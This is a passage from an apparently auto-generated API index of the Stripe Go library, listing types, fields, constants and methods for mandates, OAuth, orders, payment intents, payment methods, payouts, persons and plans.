MandateSingleUse struct + Amount int64 + Currency Currency + type MandateStatus string + const MandateStatusActive + const MandateStatusInactive + const MandateStatusPending + type MandateType string + const MandateTypeMultiUse + const MandateTypeSingleUse + type OAuthScopeType string + const OAuthScopeTypeReadOnly + const OAuthScopeTypeReadWrite + type OAuthStripeUserBusinessType string + const OAuthStripeUserBusinessTypeCorporation + const OAuthStripeUserBusinessTypeLLC + const OAuthStripeUserBusinessTypeNonProfit + const OAuthStripeUserBusinessTypePartnership + const OAuthStripeUserBusinessTypeSoleProp + type OAuthStripeUserGender string + const OAuthStripeUserGenderFemale + const OAuthStripeUserGenderMale + type OAuthStripeUserParams struct + BlockKana *string + BlockKanji *string + BuildingKana *string + BuildingKanji *string + BusinessName *string + BusinessType *string + City *string + Country *string + Currency *string + DOBDay *int64 + DOBMonth *int64 + DOBYear *int64 + Email *string + FirstName *string + FirstNameKana *string + FirstNameKanji *string + Gender *string + LastName *string + LastNameKana *string + LastNameKanji *string + PhoneNumber *string + PhysicalProduct *bool + ProductDescription *string + State *string + StreetAddress *string + URL *string + Zip *string + type OAuthToken struct + AccessToken string + Livemode bool + RefreshToken string + Scope OAuthScopeType + StripePublishableKey string + StripeUserID string + TokenType OAuthTokenType + type OAuthTokenParams struct + AssertCapabilities []*string + ClientSecret *string + Code *string + GrantType *string + RefreshToken *string + Scope *string + type OAuthTokenType string + const OAuthTokenTypeBearer + type Order struct + Amount int64 + AmountReturned int64 + Application string + ApplicationFee int64 + Charge *Charge + Created int64 + Currency Currency + Customer Customer + Email string + ID string + Items []*OrderItem + Livemode bool + Metadata map[string]string + Returns *OrderReturnList + SelectedShippingMethod *string + Shipping *Shipping + ShippingMethods []*ShippingMethod + Status string + StatusTransitions StatusTransitions + Updated int64 + UpstreamID string + func (o *Order) UnmarshalJSON(data []byte) error + type OrderDeliveryEstimateType string + const OrderDeliveryEstimateTypeExact + const OrderDeliveryEstimateTypeRange + type OrderItem struct + Amount int64 + Currency Currency + Description string + Parent *OrderItemParent + Quantity int64 + Type OrderItemType + type OrderItemParams struct + Amount *int64 + Currency *string + Description *string + Parent *string + Quantity *int64 + Type *string + type OrderItemParent struct + ID string + SKU *SKU + Type OrderItemParentType + func (p *OrderItemParent) UnmarshalJSON(data []byte) error + type OrderItemParentType string + const OrderItemParentTypeCoupon + const OrderItemParentTypeDiscount + const OrderItemParentTypeSKU + const OrderItemParentTypeShipping + const OrderItemParentTypeTax + type OrderItemType string + const OrderItemTypeCoupon + const OrderItemTypeDiscount + const OrderItemTypeSKU + const OrderItemTypeShipping + const OrderItemTypeTax + type OrderList struct + Data []*Order + type OrderListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Customer *string + IDs []*string + Status *string + StatusTransitions *StatusTransitionsFilterParams + UpstreamIDs []*string + type OrderParams struct + Coupon *string + Currency *string + Customer *string + Email *string + Items []*OrderItemParams + Shipping *ShippingParams + type OrderPayParams struct + ApplicationFee *int64 + Customer *string + Email *string + Source *SourceParams + func (op *OrderPayParams) SetSource(sp interface{}) error + type OrderReturn struct + Amount int64 + Created int64 + Currency Currency + ID string + Items []*OrderItem + Livemode bool + Order *Order + Refund *Refund + func (r *OrderReturn) UnmarshalJSON(data []byte) error + type OrderReturnList struct + Data []*OrderReturn + type OrderReturnListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Order *string + type OrderReturnParams struct + Items []*OrderItemParams + Order *string + type OrderStatus string + const OrderStatusCanceled + const OrderStatusCreated + const OrderStatusFulfilled + const OrderStatusPaid + const OrderStatusReturned + type OrderUpdateParams struct + Coupon *string + SelectedShippingMethod *string + Shipping *OrderUpdateShippingParams + Status *string + type OrderUpdateShippingParams struct + Carrier *string + TrackingNumber *string + type PIIParams struct + IDNumber *string + type PackageDimensions struct + Height float64 + Length float64 + Weight float64 + Width float64 + type PackageDimensionsParams struct + Height *float64 + Length *float64 + Weight *float64 + Width *float64 + type Params struct + Context context.Context + Expand []*string + Extra *ExtraValues + Headers http.Header + IdempotencyKey *string + Metadata map[string]string + StripeAccount *string + func (p *Params) AddExpand(f string) + func (p *Params) AddExtra(key, value string) + func (p *Params) AddMetadata(key, value string) + func (p *Params) GetParams() *Params + func (p *Params) SetIdempotencyKey(val string) + func (p *Params) SetStripeAccount(val string) + type ParamsContainer interface + GetParams func() *Params + type PaymentIntent struct + Amount int64 + AmountCapturable int64 + AmountReceived int64 + Application *Application + ApplicationFeeAmount int64 + CanceledAt int64 + CancellationReason PaymentIntentCancellationReason + CaptureMethod PaymentIntentCaptureMethod + Charges *ChargeList + ClientSecret string + ConfirmationMethod PaymentIntentConfirmationMethod + Created int64 + Currency string + Customer *Customer + Description string + ID string + Invoice *Invoice + LastPaymentError *Error + Livemode bool + Metadata map[string]string + NextAction *PaymentIntentNextAction + OnBehalfOf *Account + PaymentMethod *PaymentMethod + PaymentMethodOptions *PaymentIntentPaymentMethodOptions + PaymentMethodTypes []string + ReceiptEmail string + Review *Review + SetupFutureUsage PaymentIntentSetupFutureUsage + Shipping ShippingDetails + Source *PaymentSource + StatementDescriptor string + StatementDescriptorSuffix string + Status PaymentIntentStatus + TransferData *PaymentIntentTransferData + TransferGroup string + func (p *PaymentIntent) UnmarshalJSON(data []byte) error + type PaymentIntentCancelParams struct + CancellationReason *string + type PaymentIntentCancellationReason string + const PaymentIntentCancellationReasonAbandoned + const PaymentIntentCancellationReasonAutomatic + const PaymentIntentCancellationReasonDuplicate + const PaymentIntentCancellationReasonFailedInvoice + const PaymentIntentCancellationReasonFraudulent + const PaymentIntentCancellationReasonRequestedByCustomer + const PaymentIntentCancellationReasonVoidInvoice + type PaymentIntentCaptureMethod string + const PaymentIntentCaptureMethodAutomatic + const PaymentIntentCaptureMethodManual + type PaymentIntentCaptureParams struct + AmountToCapture *int64 + ApplicationFeeAmount *int64 + StatementDescriptor *string + StatementDescriptorSuffix *string + TransferData *PaymentIntentTransferDataParams + type PaymentIntentConfirmParams struct + ErrorOnRequiresAction *bool + Mandate *string + MandateData *PaymentIntentMandateDataParams + OffSession *bool + PaymentMethod *string + PaymentMethodData *PaymentIntentPaymentMethodDataParams + PaymentMethodOptions *PaymentIntentPaymentMethodOptionsParams + PaymentMethodTypes []*string + ReceiptEmail *string + ReturnURL *string + SetupFutureUsage *string + Shipping *ShippingDetailsParams + UseStripeSDK *bool + type PaymentIntentConfirmationMethod string + const PaymentIntentConfirmationMethodAutomatic + const PaymentIntentConfirmationMethodManual + type PaymentIntentList struct + Data []*PaymentIntent + type PaymentIntentListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Customer *string + type PaymentIntentMandateDataCustomerAcceptanceOfflineParams struct + type PaymentIntentMandateDataCustomerAcceptanceOnlineParams struct + IPAddress *string + UserAgent *string + type PaymentIntentMandateDataCustomerAcceptanceParams struct + AcceptedAt int64 + Offline *PaymentIntentMandateDataCustomerAcceptanceOfflineParams + Online *PaymentIntentMandateDataCustomerAcceptanceOnlineParams + Type MandateCustomerAcceptanceType + type PaymentIntentMandateDataParams struct + CustomerAcceptance *PaymentIntentMandateDataCustomerAcceptanceParams + type PaymentIntentNextAction struct + AlipayHandleRedirect *PaymentIntentNextActionAlipayHandleRedirect + BoletoDisplayDetails *PaymentIntentNextActionBoletoDisplayDetails + OXXODisplayDetails *PaymentIntentNextActionOXXODisplayDetails + RedirectToURL *PaymentIntentNextActionRedirectToURL + Type PaymentIntentNextActionType + UseStripeSDK *PaymentIntentNextActionUseStripeSDK + VerifyWithMicrodeposits *PaymentIntentNextActionVerifyWithMicrodeposits + WechatPayDisplayQRCode *PaymentIntentNextActionWechatPayDisplayQRCode + WechatPayRedirectToAndroidApp *PaymentIntentNextActionWechatPayRedirectToAndroidApp + WechatPayRedirectToIOSApp *PaymentIntentNextActionWechatPayRedirectToIOSApp + type PaymentIntentNextActionAlipayHandleRedirect struct + NativeData string + NativeURL string + ReturnURL string + URL string + type PaymentIntentNextActionBoletoDisplayDetails struct + ExpiresAt int64 + HostedVoucherURL string + Number string + PDF string + type PaymentIntentNextActionOXXODisplayDetails struct + ExpiresAfter int64 + HostedVoucherURL string + Number string + type PaymentIntentNextActionRedirectToURL struct + ReturnURL string + URL string + type PaymentIntentNextActionType string + const PaymentIntentNextActionTypeAlipayHandleRedirect + const PaymentIntentNextActionTypeOXXODisplayDetails + const PaymentIntentNextActionTypeRedirectToURL + type PaymentIntentNextActionUseStripeSDK struct + type PaymentIntentNextActionVerifyWithMicrodeposits struct + ArrivalDate int64 + HostedVerificationURL string + type PaymentIntentNextActionWechatPayDisplayQRCode struct + Data string + ImageDataURL string + type PaymentIntentNextActionWechatPayRedirectToAndroidApp struct + AppID string + NonceStr string + Package string + PartnerID string + PrepayID string + Sign string + Timestamp string + type PaymentIntentNextActionWechatPayRedirectToIOSApp struct + NativeURL string + type PaymentIntentOffSession string + const PaymentIntentOffSessionOneOff + const PaymentIntentOffSessionRecurring + type PaymentIntentParams struct + Amount *int64 + ApplicationFeeAmount *int64 + CaptureMethod *string + Confirm *bool + ConfirmationMethod *string + Currency *string + Customer *string + Description *string + ErrorOnRequiresAction *bool + Mandate *string + MandateData *PaymentIntentMandateDataParams + OffSession *bool + OnBehalfOf *string + PaymentMethod *string + PaymentMethodData *PaymentIntentPaymentMethodDataParams + PaymentMethodOptions *PaymentIntentPaymentMethodOptionsParams + PaymentMethodTypes []*string + ReceiptEmail *string + ReturnURL *string + SetupFutureUsage *string + Shipping *ShippingDetailsParams + StatementDescriptor *string + StatementDescriptorSuffix *string + TransferData *PaymentIntentTransferDataParams + TransferGroup *string + UseStripeSDK *bool + type PaymentIntentPaymentMethodDataParams struct + ACSSDebit *PaymentMethodACSSDebitParams + AUBECSDebit *PaymentMethodAUBECSDebitParams + AfterpayClearpay *PaymentMethodAfterpayClearpayParams + Alipay *PaymentMethodAlipayParams + BillingDetails *BillingDetailsParams + Boleto *PaymentMethodBoletoParams + Card *PaymentMethodCardParams + EPS *PaymentMethodEPSParams + FPX *PaymentMethodFPXParams + Grabpay *PaymentMethodGrabpayParams + Ideal *PaymentMethodIdealParams + OXXO *PaymentMethodOXXOParams + P24 *PaymentMethodP24Params + SepaDebit *PaymentMethodSepaDebitParams + Type *string + WechatPay *PaymentMethodWechatPayParams + type PaymentIntentPaymentMethodOptions struct + ACSSDebit *PaymentIntentPaymentMethodOptionsACSSDebit + AfterpayClearpay *PaymentIntentPaymentMethodOptionsAfterpayClearpay + Alipay *PaymentIntentPaymentMethodOptionsAlipay + Bancontact *PaymentIntentPaymentMethodOptionsBancontact + Boleto *PaymentIntentPaymentMethodOptionsBoleto + Card *PaymentIntentPaymentMethodOptionsCard + OXXO *PaymentIntentPaymentMethodOptionsOXXO + Sofort *PaymentIntentPaymentMethodOptionsSofort + WechatPay *PaymentIntentPaymentMethodOptionsWechatPay + type PaymentIntentPaymentMethodOptionsACSSDebit struct + MandateOptions *PaymentIntentPaymentMethodOptionsACSSDebitMandateOptions + VerificationMethod PaymentIntentPaymentMethodOptionsACSSDebitVerificationMethod + type PaymentIntentPaymentMethodOptionsACSSDebitMandateOptions struct + CustomMandateURL string + IntervalDescription string + PaymentSchedule PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentSchedule + TransactionType PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionType + type PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsParams struct + CustomMandateURL *string + IntervalDescription *string + PaymentSchedule *string + TransactionType *string + type PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentSchedule string + const PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleCombined + const PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleInterval + const PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleSporadic + type PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionType string + const PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionTypeBusiness + const PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionTypePersonal + type PaymentIntentPaymentMethodOptionsACSSDebitParams struct + MandateOptions *PaymentIntentPaymentMethodOptionsACSSDebitMandateOptionsParams + VerificationMethod *string + type PaymentIntentPaymentMethodOptionsACSSDebitVerificationMethod string + const PaymentIntentPaymentMethodOptionsACSSDebitVerificationMethodAutomatic + const PaymentIntentPaymentMethodOptionsACSSDebitVerificationMethodInstant + const PaymentIntentPaymentMethodOptionsACSSDebitVerificationMethodMicrodeposits + type PaymentIntentPaymentMethodOptionsAfterpayClearpay struct + Reference string + type PaymentIntentPaymentMethodOptionsAfterpayClearpayParams struct + Reference *string + type PaymentIntentPaymentMethodOptionsAlipay struct + type PaymentIntentPaymentMethodOptionsAlipayParams struct + type PaymentIntentPaymentMethodOptionsBancontact struct + PreferredLanguage string + type PaymentIntentPaymentMethodOptionsBancontactParams struct + PreferredLanguage *string + type PaymentIntentPaymentMethodOptionsBoleto struct + ExpiresAfterDays int64 + type PaymentIntentPaymentMethodOptionsBoletoParams struct + ExpiresAfterDays *int64 + type PaymentIntentPaymentMethodOptionsCard struct + Installments *PaymentIntentPaymentMethodOptionsCardInstallments + Network PaymentMethodCardNetwork + RequestThreeDSecure PaymentIntentPaymentMethodOptionsCardRequestThreeDSecure + type PaymentIntentPaymentMethodOptionsCardInstallments struct + AvailablePlans []*PaymentIntentPaymentMethodOptionsCardInstallmentsPlan + Enabled bool + Plan *PaymentIntentPaymentMethodOptionsCardInstallmentsPlan + type PaymentIntentPaymentMethodOptionsCardInstallmentsParams struct + Enabled *bool + Plan *PaymentIntentPaymentMethodOptionsCardInstallmentsPlanParams + type PaymentIntentPaymentMethodOptionsCardInstallmentsPlan struct + Count int64 + Interval PaymentIntentPaymentMethodOptionsCardInstallmentsPlanInterval + Type PaymentIntentPaymentMethodOptionsCardInstallmentsPlanType + type PaymentIntentPaymentMethodOptionsCardInstallmentsPlanInterval string + const PaymentIntentPaymentMethodOptionsCardInstallmentsPlanIntervalMonth + type PaymentIntentPaymentMethodOptionsCardInstallmentsPlanParams struct + Count *int64 + Interval *string + Type *string + type PaymentIntentPaymentMethodOptionsCardInstallmentsPlanType string + const PaymentIntentPaymentMethodOptionsCardInstallmentsPlanTypeFixedCount + type PaymentIntentPaymentMethodOptionsCardParams struct + CVCToken *string + Installments *PaymentIntentPaymentMethodOptionsCardInstallmentsParams + MOTO *bool + Network *string + RequestThreeDSecure *string + type PaymentIntentPaymentMethodOptionsCardRequestThreeDSecure string + const PaymentIntentPaymentMethodOptionsCardRequestThreeDSecureAny + const PaymentIntentPaymentMethodOptionsCardRequestThreeDSecureAutomatic + type PaymentIntentPaymentMethodOptionsOXXO struct + ExpiresAfterDays int64 + type PaymentIntentPaymentMethodOptionsOXXOParams struct + ExpiresAfterDays *int64 + type PaymentIntentPaymentMethodOptionsParams struct + ACSSDebit *PaymentIntentPaymentMethodOptionsACSSDebitParams + AfterpayClearpay *PaymentIntentPaymentMethodOptionsAfterpayClearpayParams + Alipay *PaymentIntentPaymentMethodOptionsAlipayParams + Bancontact *PaymentIntentPaymentMethodOptionsBancontactParams + Boleto *PaymentIntentPaymentMethodOptionsBoletoParams + Card *PaymentIntentPaymentMethodOptionsCardParams + OXXO *PaymentIntentPaymentMethodOptionsOXXOParams + Sofort *PaymentIntentPaymentMethodOptionsSofortParams + WechatPay *PaymentIntentPaymentMethodOptionsWechatPayParams + type PaymentIntentPaymentMethodOptionsSofort struct + PreferredLanguage string + type PaymentIntentPaymentMethodOptionsSofortParams struct + PreferredLanguage *string + type PaymentIntentPaymentMethodOptionsWechatPay struct + AppID string + Client PaymentIntentPaymentMethodOptionsWechatPayClient + type PaymentIntentPaymentMethodOptionsWechatPayClient string + const PaymentIntentPaymentMethodOptionsWechatPayClientAndroid + const PaymentIntentPaymentMethodOptionsWechatPayClientIOS + const PaymentIntentPaymentMethodOptionsWechatPayClientWeb + type PaymentIntentPaymentMethodOptionsWechatPayParams struct + AppID *string + Client *string + type PaymentIntentSetupFutureUsage string + const PaymentIntentSetupFutureUsageOffSession + const PaymentIntentSetupFutureUsageOnSession + type PaymentIntentStatus string + const PaymentIntentStatusCanceled + const PaymentIntentStatusProcessing + const PaymentIntentStatusRequiresAction + const PaymentIntentStatusRequiresCapture + const PaymentIntentStatusRequiresConfirmation + const PaymentIntentStatusRequiresPaymentMethod + const PaymentIntentStatusSucceeded + type PaymentIntentTransferData struct + Amount int64 + Destination *Account + type PaymentIntentTransferDataParams struct + Amount *int64 + Destination *string + type PaymentMethod struct + ACSSDebit *PaymentMethodACSSDebit + AUBECSDebit *PaymentMethodAUBECSDebit + AfterpayClearpay *PaymentMethodAfterpayClearpay + Alipay *PaymentMethodAlipay + BACSDebit *PaymentMethodBACSDebit + Bancontact *PaymentMethodBancontact + BillingDetails *BillingDetails + Boleto *PaymentMethodBoleto + Card *PaymentMethodCard + CardPresent *PaymentMethodCardPresent + Created int64 + Customer *Customer + EPS *PaymentMethodEPS + FPX *PaymentMethodFPX + Giropay *PaymentMethodGiropay + Grabpay *PaymentMethodGrabpay + ID string + Ideal *PaymentMethodIdeal + InteracPresent *PaymentMethodInteracPresent + Livemode bool + Metadata map[string]string + OXXO *PaymentMethodOXXO + Object string + P24 *PaymentMethodP24 + SepaDebit *PaymentMethodSepaDebit + Sofort *PaymentMethodSofort + Type PaymentMethodType + WechatPay *PaymentMethodWechatPay + func (i *PaymentMethod) UnmarshalJSON(data []byte) error + type PaymentMethodACSSDebit struct + BankName string + Fingerprint string + InstitutionNumber string + Last4 string + TransitNumber string + type PaymentMethodACSSDebitParams struct + AccountNumber *string + InstitutionNumber *string + TransitNumber *string + type PaymentMethodAUBECSDebit struct + BSBNumber string + Fingerprint string + Last4 string + type PaymentMethodAUBECSDebitParams struct + AccountNumber *string + BSBNumber *string + type PaymentMethodAfterpayClearpay struct + type PaymentMethodAfterpayClearpayParams struct + type PaymentMethodAlipay struct + type PaymentMethodAlipayParams struct + type PaymentMethodAttachParams struct + Customer *string + type PaymentMethodBACSDebit struct + Fingerprint string + Last4 string + SortCode string + type PaymentMethodBACSDebitParams struct + AccountNumber *string + SortCode *string + type PaymentMethodBancontact struct + type PaymentMethodBancontactParams struct + type PaymentMethodBoleto struct + TaxID string + type PaymentMethodBoletoParams struct + TaxID *string + type PaymentMethodCard struct + Brand PaymentMethodCardBrand + Checks *PaymentMethodCardChecks + Country string + Description string + ExpMonth uint64 + ExpYear uint64 + Fingerprint string + Funding CardFunding + IIN string + Issuer string + Last4 string + Networks *PaymentMethodCardNetworks + ThreeDSecureUsage *PaymentMethodCardThreeDSecureUsage + Wallet *PaymentMethodCardWallet + type PaymentMethodCardBrand string + const PaymentMethodCardBrandAmex + const PaymentMethodCardBrandDiners + const PaymentMethodCardBrandDiscover + const PaymentMethodCardBrandJCB + const PaymentMethodCardBrandMastercard + const PaymentMethodCardBrandUnionpay + const PaymentMethodCardBrandUnknown + const PaymentMethodCardBrandVisa + type PaymentMethodCardChecks struct + AddressLine1Check CardVerification + AddressPostalCodeCheck CardVerification + CVCCheck CardVerification + type PaymentMethodCardNetwork string + const PaymentMethodCardNetworkAmex + const PaymentMethodCardNetworkDiners + const PaymentMethodCardNetworkDiscover + const PaymentMethodCardNetworkInterac + const PaymentMethodCardNetworkJCB + const PaymentMethodCardNetworkMastercard + const PaymentMethodCardNetworkUnionpay + const PaymentMethodCardNetworkUnknown + const PaymentMethodCardNetworkVisa + type PaymentMethodCardNetworks struct + Available []PaymentMethodCardNetwork + Preferred PaymentMethodCardNetwork + type PaymentMethodCardParams struct + CVC *string + ExpMonth *string + ExpYear *string + Number *string + Token *string + type PaymentMethodCardPresent struct + type PaymentMethodCardThreeDSecureUsage struct + Supported bool + type PaymentMethodCardWallet struct + DynamicLast4 string + Type PaymentMethodCardWalletType + type PaymentMethodCardWalletType string + const PaymentMethodCardWalletTypeAmexExpressCheckout + const PaymentMethodCardWalletTypeApplePay + const PaymentMethodCardWalletTypeGooglePay + const PaymentMethodCardWalletTypeMasterpass + const PaymentMethodCardWalletTypeSamsungPay + const PaymentMethodCardWalletTypeVisaCheckout + type PaymentMethodDetachParams struct + type PaymentMethodEPS struct + Bank string + type PaymentMethodEPSParams struct + Bank *string + type PaymentMethodFPX struct + AccountHolderType PaymentMethodFPXAccountHolderType + Bank string + TransactionID string + type PaymentMethodFPXAccountHolderType string + const PaymentMethodFPXAccountHolderTypeCompany + const PaymentMethodFPXAccountHolderTypeIndividual + type PaymentMethodFPXParams struct + AccountHolderType *string + Bank *string + type PaymentMethodGiropay struct + type PaymentMethodGiropayParams struct + type PaymentMethodGrabpay struct + type PaymentMethodGrabpayParams struct + type PaymentMethodIdeal struct + Bank string + Bic string + type PaymentMethodIdealParams struct + Bank *string + type PaymentMethodInteracPresent struct + type PaymentMethodInteracPresentParams struct + type PaymentMethodList struct + Data []*PaymentMethod + type PaymentMethodListParams struct + Customer *string + Type *string + type PaymentMethodOXXO struct + type PaymentMethodOXXOParams struct + type PaymentMethodP24 struct + Bank string + type PaymentMethodP24Params struct + Bank *string + TOSShownAndAccepted *bool + type PaymentMethodParams struct + ACSSDebit *PaymentMethodACSSDebitParams + AUBECSDebit *PaymentMethodAUBECSDebitParams + AfterpayClearpay *PaymentMethodAfterpayClearpayParams + Alipay *PaymentMethodAlipayParams + BACSDebit *PaymentMethodBACSDebitParams + Bancontact *PaymentMethodBancontactParams + BillingDetails *BillingDetailsParams + Boleto *PaymentMethodBoletoParams + Card *PaymentMethodCardParams + Customer *string + EPS *PaymentMethodEPSParams + FPX *PaymentMethodFPXParams + Giropay *PaymentMethodGiropayParams + Grabpay *PaymentMethodGrabpayParams + Ideal *PaymentMethodIdealParams + InteracPresent *PaymentMethodInteracPresentParams + OXXO *PaymentMethodOXXOParams + P24 *PaymentMethodP24Params + PaymentMethod *string + SepaDebit *PaymentMethodSepaDebitParams + Sofort *PaymentMethodSofortParams + Type *string + WechatPay *PaymentMethodWechatPayParams + type PaymentMethodSepaDebit struct + BankCode string + BranchCode string + Country string + Fingerprint string + GeneratedFrom *PaymentMethodSepaDebitGeneratedFrom + Last4 string + type PaymentMethodSepaDebitGeneratedFrom struct + Charge *Charge + SetupAttempt *SetupAttempt + type PaymentMethodSepaDebitParams struct + Iban *string + type PaymentMethodSofort struct + Country string + type PaymentMethodSofortParams struct + Country *string + type PaymentMethodType string + const PaymentMethodTypeACSSDebit + const PaymentMethodTypeAUBECSDebit + const PaymentMethodTypeAfterpayClearpay + const PaymentMethodTypeAlipay + const PaymentMethodTypeBACSDebit + const PaymentMethodTypeBancontact + const PaymentMethodTypeBoleto + const PaymentMethodTypeCard + const PaymentMethodTypeCardPresent + const PaymentMethodTypeEPS + const PaymentMethodTypeFPX + const PaymentMethodTypeGiropay + const PaymentMethodTypeGrabpay + const PaymentMethodTypeIdeal + const PaymentMethodTypeInteracPresent + const PaymentMethodTypeOXXO + const PaymentMethodTypeP24 + const PaymentMethodTypeSepaDebit + const PaymentMethodTypeSofort + const PaymentMethodTypeWechatPay + type PaymentMethodWechatPay struct + type PaymentMethodWechatPayParams struct + type PaymentSource struct + BankAccount *BankAccount + Card *Card + Deleted bool + ID string + SourceObject *Source + Type PaymentSourceType + func (s *PaymentSource) MarshalJSON() ([]byte, error) + func (s *PaymentSource) UnmarshalJSON(data []byte) error + type PaymentSourceType string + const PaymentSourceTypeAccount + const PaymentSourceTypeBankAccount + const PaymentSourceTypeCard + const PaymentSourceTypeObject + type Payout struct + Amount int64 + ArrivalDate int64 + Automatic bool + BalanceTransaction *BalanceTransaction + BankAccount *BankAccount + Card *Card + Created int64 + Currency Currency + Description *string + Destination *PayoutDestination + FailureBalanceTransaction *BalanceTransaction + FailureCode PayoutFailureCode + FailureMessage string + ID string + Livemode bool + Metadata map[string]string + Method PayoutMethodType + Object string + OriginalPayout *Payout + ReversedBy *Payout + SourceType PayoutSourceType + StatementDescriptor string + Status PayoutStatus + Type PayoutType + func (p *Payout) UnmarshalJSON(data []byte) error + type PayoutDestination struct + BankAccount *BankAccount + Card *Card + ID string + Type PayoutDestinationType + func (p *PayoutDestination) UnmarshalJSON(data []byte) error + type PayoutDestinationType string + const PayoutDestinationTypeBankAccount + const PayoutDestinationTypeCard + type PayoutFailureCode string + const PayoutFailureCodeAccountClosed + const PayoutFailureCodeAccountFrozen + const PayoutFailureCodeBankAccountRestricted + const PayoutFailureCodeBankOwnershipChanged + const PayoutFailureCodeCouldNotProcess + const PayoutFailureCodeDebitNotAuthorized + const PayoutFailureCodeInsufficientFunds + const PayoutFailureCodeInvalidAccountNumber + const PayoutFailureCodeInvalidCurrency + const PayoutFailureCodeNoAccount + type PayoutInterval string + const PayoutIntervalDaily + const PayoutIntervalManual + const PayoutIntervalMonthly + const PayoutIntervalWeekly + type PayoutList struct + Data []*Payout + type PayoutListParams struct + ArrivalDate *int64 + ArrivalDateRange *RangeQueryParams + Created *int64 + CreatedRange *RangeQueryParams + Destination *string + Status *string + type PayoutMethodType string + const PayoutMethodInstant + const PayoutMethodStandard + type PayoutParams struct + Amount *int64 + Currency *string + Description *string + Destination *string + Method *string + SourceType *string + StatementDescriptor *string + type PayoutReverseParams struct + type PayoutScheduleParams struct + DelayDays *int64 + DelayDaysMinimum *bool + Interval *string + MonthlyAnchor *int64 + WeeklyAnchor *string + func (p *PayoutScheduleParams) AppendTo(body *form.Values, keyParts []string) + type PayoutSourceType string + const PayoutSourceTypeBankAccount + const PayoutSourceTypeCard + const PayoutSourceTypeFPX + type PayoutStatus string + const PayoutStatusCanceled + const PayoutStatusFailed + const PayoutStatusInTransit + const PayoutStatusPaid + const PayoutStatusPending + type PayoutType string + const PayoutTypeBank + const PayoutTypeCard + type Period struct + End int64 + Start int64 + type PermissionError struct + func (e *PermissionError) Error() string + type Person struct + Account string + Address *AccountAddress + AddressKana *AccountAddress + AddressKanji *AccountAddress + DOB *DOB + Deleted bool + Email string + FirstName string + FirstNameKana string + FirstNameKanji string + Gender string + ID string + IDNumberProvided bool + LastName string + LastNameKana string + LastNameKanji string + MaidenName string + Metadata map[string]string + Nationality string + Object string + Phone string + PoliticalExposure PersonPoliticalExposure + Relationship *Relationship + Requirements *Requirements + SSNLast4Provided bool + Verification *PersonVerification + func (c *Person) UnmarshalJSON(data []byte) error + type PersonList struct + Data []*Person + type PersonListParams struct + Account *string + Relationship *RelationshipListParams + type PersonParams struct + Account *string + Address *AccountAddressParams + AddressKana *AccountAddressParams + AddressKanji *AccountAddressParams + DOB *DOBParams + Documents *DocumentsParams + Email *string + FirstName *string + FirstNameKana *string + FirstNameKanji *string + Gender *string + IDNumber *string + LastName *string + LastNameKana *string + LastNameKanji *string + MaidenName *string + Nationality *string + PersonToken *string + Phone *string + PoliticalExposure *string + Relationship *RelationshipParams + SSNLast4 *string + Verification *PersonVerificationParams + type PersonPoliticalExposure string + const PersonPoliticalExposureExisting + const PersonPoliticalExposureNone + type PersonVerification struct + AdditionalDocument *PersonVerificationDocument + Details string + DetailsCode PersonVerificationDetailsCode + Document *PersonVerificationDocument + Status IdentityVerificationStatus + type PersonVerificationDetailsCode string + const PersonVerificationDetailsCodeFailedKeyedIdentity + const PersonVerificationDetailsCodeFailedOther + const PersonVerificationDetailsCodeScanNameMismatch + type PersonVerificationDocument struct + Back *File + Details string + DetailsCode VerificationDocumentDetailsCode + Front *File + type PersonVerificationDocumentParams struct + Back *string + Front *string + type PersonVerificationParams struct + AdditionalDocument *PersonVerificationDocumentParams + Document *PersonVerificationDocumentParams + type Plan struct + Active bool + AggregateUsage string + Amount int64 + AmountDecimal float64 + BillingScheme PlanBillingScheme + Created int64 + Currency Currency + Deleted bool + ID string + Interval PlanInterval + IntervalCount int64 + Livemode bool + Metadata map[string]string + Nickname string + Product *Product + Tiers []*PlanTier + TiersMode string + TransformUsage *PlanTransformUsage + TrialPeriodDays int64 + UsageType PlanUsageType + func (s *Plan) UnmarshalJSON(data []byte) error + type PlanAggregateUsage string + const PlanAggregateUsageLastDuringPeriod + const PlanAggregateUsageLastEver + const PlanAggregateUsageMax + const PlanAggregateUsageSum + type PlanBillingScheme string + const PlanBillingSchemePerUnit + const PlanBillingSchemeTiered + type PlanInterval string + const PlanIntervalDay + const PlanIntervalMonth + const PlanIntervalWeek + const PlanIntervalYear + type PlanList struct + Data []*Plan + type PlanListParams struct + Active *bool + Created *int64 + CreatedRange *RangeQueryParams + Product *string + type PlanParams struct + Active *bool + AggregateUsage *string + Amount *int64 + AmountDecimal *float64 + BillingScheme *string + Currency *string + ID *string + Interval *string + IntervalCount *int64 + Nickname *string + Product *PlanProductParams + ProductID *string + Tiers []*PlanTierParams + TiersMode *string + TransformUsage *PlanTransformUsageParams + TrialPeriodDays *int64 + UsageType *string + type PlanProductParams struct + Active *bool + ID *string + Metadata map[string]string + Name *string + StatementDescriptor *string + TaxCode *string + UnitLabel *string + type PlanTier struct + FlatAmount int64 + FlatAmountDecimal float64 + UnitAmount int64 + UnitAmountDecimal float64 + UpTo int64 + type PlanTierParams struct + FlatAmount *int64 + FlatAmountDecimal *float64 + UnitAmount *int64 + UnitAmountDecimal *float64 + UpTo *int64 + UpToInf *bool + func (p *PlanTierParams) AppendTo(body *form.Values, keyParts []string) + type PlanTiersMode string + const PlanTiersModeGraduated + const PlanTiersModeVolume + type PlanTransformUsage struct + DivideBy int64 + Round PlanTransformUsageRound + type PlanTransformUsageParams struct + DivideBy *int64 + Round *string + type PlanTransformUsageRound string + const PlanTransformUsageRoundDown + const PlanTransformUsageRoundUp + type PlanUsageType string + const PlanUsageTypeLicensed + const PlanUsageTypeMetered + type Price struct + Active bool + BillingScheme PriceBillingScheme + Created int64 + Currency Currency + Deleted bool + ID string + Livemode bool + LookupKey string + Metadata 